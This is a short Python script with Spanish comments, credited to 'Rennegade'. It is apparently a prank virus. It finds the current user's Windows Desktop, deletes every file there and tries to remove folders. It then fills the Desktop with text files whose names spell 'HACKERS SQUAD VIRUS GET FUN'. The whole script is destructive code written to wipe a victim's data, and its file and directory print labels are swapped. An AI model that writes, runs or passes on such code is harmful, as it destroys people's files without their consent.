# Código creado por Rennegade


# Importación de módulos a usar
import os
import ctypes

# Declaración de variables
user = os.getlogin()
desktop = f'c:\\Users\\{user}\\Desktop'
# desktop = f'/home/{user}/Desktop/prueba'
"""
Sentencía comentada <desktop> guardada para pruebas
"""

# Borrar el desktop.
for file in os.scandir(desktop):
	if os.path.isdir(file):
		os.rmdir(file)
		print(f"Archivo borrado: {file}")
	else:
		os.remove(file)
		print(f"Directorio borrado: {file}")

# File creator
l = ["H", "A", "C", "K", "E", "R", "S", "S", "Q", "U", "A", "D", "V", "I", "R", "U", "S", "G", "E", "T", "F", "U", "N"]

for i in range(len(l)):
	for string in l:
		with open(f'{desktop}/{string}.txt', 'w') as f:
			f.write(string)

